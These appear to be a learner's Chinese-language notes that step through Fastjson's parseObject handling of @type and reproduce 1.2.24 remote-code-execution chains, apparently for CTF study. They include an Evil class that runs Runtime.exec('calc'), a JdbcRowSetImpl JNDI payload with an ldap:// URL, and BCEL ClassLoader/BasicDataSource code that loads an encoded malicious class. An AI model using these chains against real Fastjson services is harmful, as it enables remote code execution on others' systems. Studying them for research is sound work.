我们在JSON.parseObject上打断点,跟进到这里
image.png
然后跟进到JSONScanner
image.png

到这个位置时token为12
image.png
!!!我是煞笔!我没有仔细调试和看就说调不出来
上面那个截图取自我看的笔记,但是到我这里的代码长这个样子
image.png
我当时看到没有12就武断的认为自己代码的版本有问题,但是其实没有问题,因为如果我但凡在调试的时候在这个位置进行跟进, 也不会没有发现它这里代码重构成了这样
image.png
image.png
我就说哪里莫名其妙来的这个12
然后我们继续跟进
由于token是12,于是走到了这里
image.png
然后在这里的时候我并没有如预期一样走到了case 12的里面,经过我三次调试后还是没有找到parse这个方法在parseObject的这个重写方法中使用,于是我继续查找,发现存在在parseObject的这个重写方法中
image.png
之后我们一路跟进,走到case 12这里,然后我们进到parseObject中
image.png
到这里的时候发现是对json进行一系列的操作
image.png
这时这里的key已经是@type了,然后我们继续跟进,发现下面还判定了对于开头是不是@type
image.png

image.png
然后我们发现它再次调用了scanSymbol,然后调用了类的加载器,之后进了loadClass这个方法, 这个方法首先判断mapping是否存在,然后如果存在就返回这个mapping的clazz对象
然后我们继续跟进,走到了获取反序列化构造器这里
然后继续跟进deserialize方法
然后跟进它重写方法里的方法
image.png
发现就是通过循环去遍历它,然后解析key和value
image.png
之后我们会到parseField方法中,之后又DefaultDeserializer类的this.setValue方法,
image.png
然后我们走到setValue这里,
image.png
发现这里调用了invoke
之后我们一路返回我们反序列化好的类,然后到这里
image.png
之后我们发现如果经过parse函数解析后的结果是属于JsonObject的,那么就直接返回,如果不是,则需要调用toJSON方法来让它变成JSONObject
之前在反序列化时调用的都是set方法,而在toJSON中,我们调用的都是get方法
然后就结束了

问题调试

在这里我发现进不去deserializer,也就是这里
image.png
就是如果这里我接着往下找,非但走不到下面,我甚至看不到它里面的东西,之后看了白日梦组长师傅的视频发现是因为我的asmEnable是开着的,所以这里会走到asm的deserializer中,于是我们需要把它关闭从而使他能走出来,于是他在
image.png
这个位置发现了对于通过判断getOnly值从而实现对asmEnable的赋值,于是开始查找在哪里可以实现对getOnly等于true的赋值,经过查找后发现在这里
image.png
那么我们就要走到这里
image.png
最后发现我们需要不满足getParameterType == 1,但是我们在build javaBean的时候的顺序是先通过for循环遍历set开头的方法,再遍历Field,之后再遍历get开头的方法,和Field,于是我们发现在set方法的这里
image.png
设置了一个check需要让getParameterType的值等于1,所以我们需要写一个只有get没有set方法的类来让我们的asmEnable关闭,从而走到Java的类中
于是我们将我们的代码改成这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.Map;

public class Person {
private int age;
private String name;
private Map map;
public Person() {
System.out.println("构造函数");
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Map getMap() {
System.out.println("Map");
return map;
}
public static void main(String[] args){
// Person person = new Person();
// person.setAge(21);
// System.out.println(JSON.toJSONString(person, SerializerFeature.WriteClassName));
// Person obj = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}", Person.class, Feature.SupportNonPublicField);
JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}");
// System.out.println(obj.getAge());
}
}

这时候再走到这里时,就可以成功的进入deserializer方法中了
image.png
至于为什么我要添加一个Map类型可以看这里
image.png
我们需要进入这个add,所以我们需要确保自己创建的类型属于这几个其中一个
到这里,我们大概总结一下,就是我们在解析parseObject的时候先把参数当作字符串去解析,然后如果发现有@type字段,就把它的值当java类去解析,刚刚所作的一切都是为了让我们拿到反序列化的构造器

为什么FastJson会有RCE问题

第一就是它对于@type类型的解析,它用它的反序列化器去解析会调用它的构造方法
其次就是它在调用parse时会调用setter方法,在toJSON时会调用getter方法,或者是如果某个变量满足
image.png
那么也是可以通过调用非asm中的deserializer来调用getter的
image.png
就像这样,如果满足特定类型,它的getter也会呗调用
总之最后解释下来就是如果有某个类中有set方法,而且它符合我们刚才说的那几个条件且带有恶意代码, 那么我们就可以通过反序列化这个getter来远程执行代码,我们写一个evil类如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public static void main(String[] args) throws IOException {
Evil t = new Evil();
}
public void setCmd() throws IOException {
Runtime.getRuntime().exec("calc");
}

}

然后我们继续加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.Map;

public class Person {
private int age;
private String name;
private Map map;
public Person() {
System.out.println("构造函数");
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("setAge");
}
public Map getMap() {
System.out.println("getMap");
return map;
}
public static void main(String[] args){
// Person person = new Person();
//// person.setAge(21);
// System.out.println(JSON.toJSONString(person, SerializerFeature.WriteClassName));
// Person obj = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}", Person.class, Feature.SupportNonPublicField);
JSON.parseObject("{\"@type\":\"org.example.Evil\",\"age\":21,\"map\":{}}");
// System.out.println(obj.getAge());
}
}

可以看到我们成功的在电脑中弹出了计算器
image.png
OK说完这一串儿,我们来进入今天的正题,也就是fastJson-1.2.24版本的漏洞

fastJson-1.2.24

JNDI注入

这里直接进入正题,就是在这个JdbcRowSet中找到了一个实现类在sun.rowset中,其中有一个connect类实现了image.png
经过追踪后发现这个lookup中的字符串是可控的,那么我们就需要找到这个类然后去看看它的调用
image.png
根据我自己的理解,我选择了这个类
image.png
很好,经过一番查找,我没有找到这个类有任何set方法,于是也就符合我们的情况,某个类中只有getter,但是最可惜的是它的返回值并不是我们的特殊类型,所以其实这个是没有办法利用的
也就是,如果我们要走到toJson前提是前面那一段不能出错,所以我们还是选择后面那个,最后的payload如下
image.png

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/dEZDkprz","AutoCommit":false}

缺点:受依赖和版本限制,且需要出网

Util.Classloader

这个链子是因为image.png
这个里面有一个ClassLoader类,会对符合条件的类进行动态加载
image.png
那么我们先尝试吧
image.png
此时代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;


public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
ClassLoader classloader = new ClassLoader();
byte[] bytes = convert("D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class");
String code = Utility.encode(bytes,true);
classloader.loadClass("$$BCEL$$"+code).newInstance();
}
public static byte[] convert(String fileName) {
File file = new File(fileName);
try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
fis.read(bytes);
return bytes;
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeExcept(e);
}

}
}

接下来我们看看有没有地方调用LoadClass
最后我们找到了这里
image.png
就是如果我们把driverClassLoader换成我们之前看到的那个classloader,那么我们这里就走下去了
所以我们要看的就是这两个参数是否可控
image.png
最后我们发现其实是可控的
于是我们继续向上找
image.png
然后我们找到了这里,然后继续往上找
image.png
之后我们就找到了这里
然后我们编写测试代码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.sql.SQLException;


public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
ClassLoader classloader = new ClassLoader();
byte[] bytes = convert("D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class");
String code = Utility.encode(bytes,true);
// classloader.loadClass("$$BCEL$$"+code).newInstance();
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classloader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}
public static byte[] convert(String fileName) {
File file = new File(fileName);
try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
fis.read(bytes);
return bytes;
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
}

这样我们就结束了这个版本的两个攻击方法的调试和复现,然后如果我们要使用刚才的方式来走这个链子的调用emmm
其实是一样的
先传dhcp那个,再写driverClassName再写loader再写classloader